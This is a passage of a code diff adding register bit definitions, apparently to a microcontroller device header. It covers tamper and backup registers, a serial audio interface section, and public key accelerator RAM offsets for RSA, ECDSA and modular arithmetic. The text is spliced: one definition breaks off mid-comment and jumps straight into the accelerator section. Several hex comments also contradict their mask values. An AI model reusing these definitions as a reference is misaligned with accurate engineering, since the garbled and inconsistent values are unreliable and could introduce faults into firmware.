TAMP_SCR_CITAMP9F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26U) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27U) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28U) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk +#define TAMP_SCR_CITAMP15F_Pos (30U) +#define TAMP_SCR_CITAMP15F_Msk (0x1UL << TAMP_SCR_CITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SCR_CITAMP15F TAMP_SCR_CITAMP15F_Msk +/******************** Bits definition for TAMP_COUNT1R register ***************/ +#define TAMP_COUNT1R_COUNT_Pos (0U) +#define TAMP_COUNT1R_COUNT_Msk (0xFFFFFFFFUL << TAMP_COUNT1R_COUNT_Pos)/*!< 0xFFFFFFFF */ +#define TAMP_COUNT1R_COUNT TAMP_COUNT1R_COUNT_Msk + +/******************** Bits definition for TAMP_OR register ***************/ +#define TAMP_OR_OUT3_RMP_Pos (1U) +#define TAMP_OR_OUT3_RMP_Msk (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00000006 */ +#define TAMP_OR_OUT3_RMP TAMP_OR_OUT3_RMP_Msk +#define TAMP_OR_OUT3_RMP_0 (0x1UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00100000 */ +#define TAMP_OR_OUT3_RMP_1 (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00200000 */ +#define TAMP_OR_OUT5_RMP_Pos (3U) +#define TAMP_OR_OUT5_RMP_Msk (0x1UL << TAMP_OR_OUT5_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_OUT5_RMP TAMP_OR_OUT5_RMP_Msk +#define TAMP_OR_IN2_RMP_Pos (8U) +#define TAMP_OR_IN2_RMP_Msk (0x1UL << TAMP_OR_IN2_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN2_RMP TAMP_OR_IN2_RMP_Msk +#define TAMP_OR_IN3_RMP_Pos (9U) +#define TAMP_OR_IN3_RMP_Msk (0x1UL << TAMP_OR_IN3_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN3_RMP TAMP_OR_IN3_RMP_Msk +#define TAMP_OR_IN4_RMP_Pos (10U) +#define TAMP_OR_IN4_RMP_Msk (0x1UL << TAMP_OR_IN4_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN4_RMP TAMP_OR_IN4_RMP_Msk + +/******************** Bits definition for TAMP_ERCFG register ***************/ +#define TAMP_ERCFGR_ERCFG0_Pos (0U) +#define TAMP_ERCFGR_ERCFG0_Msk (0x1UL << TAMP_ERCFGR_ERCFG0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR_ERCFG0 TAMP_ERCFGR_ERCFG0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0U) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0U) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0U) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0U) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0U) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0U) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0U) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0U) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0U) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0U) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0U) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0U) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0U) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0U) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0U) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0U) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0U) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0U) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0U) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0U) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0U) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0U) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0U) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0U) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0U) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0U) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0U) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0U) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0U) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0U) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0U) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0U) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Serial Audio Interface */ +/* */ +/******************************************************************************/ +/******************** Bit definition for SAI_GCR register *******************/ +#define SAI_GCR_SYNCIN_Pos (0U) +#define SAI_GCR_SYNCIN_Msk (0x3UL << SAI_GCR_SYNCIN_Pos) /*!< 0x00000003 */ +#define SAI_GCR_SYNCIN SAI_GCR_SYNCIN_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - 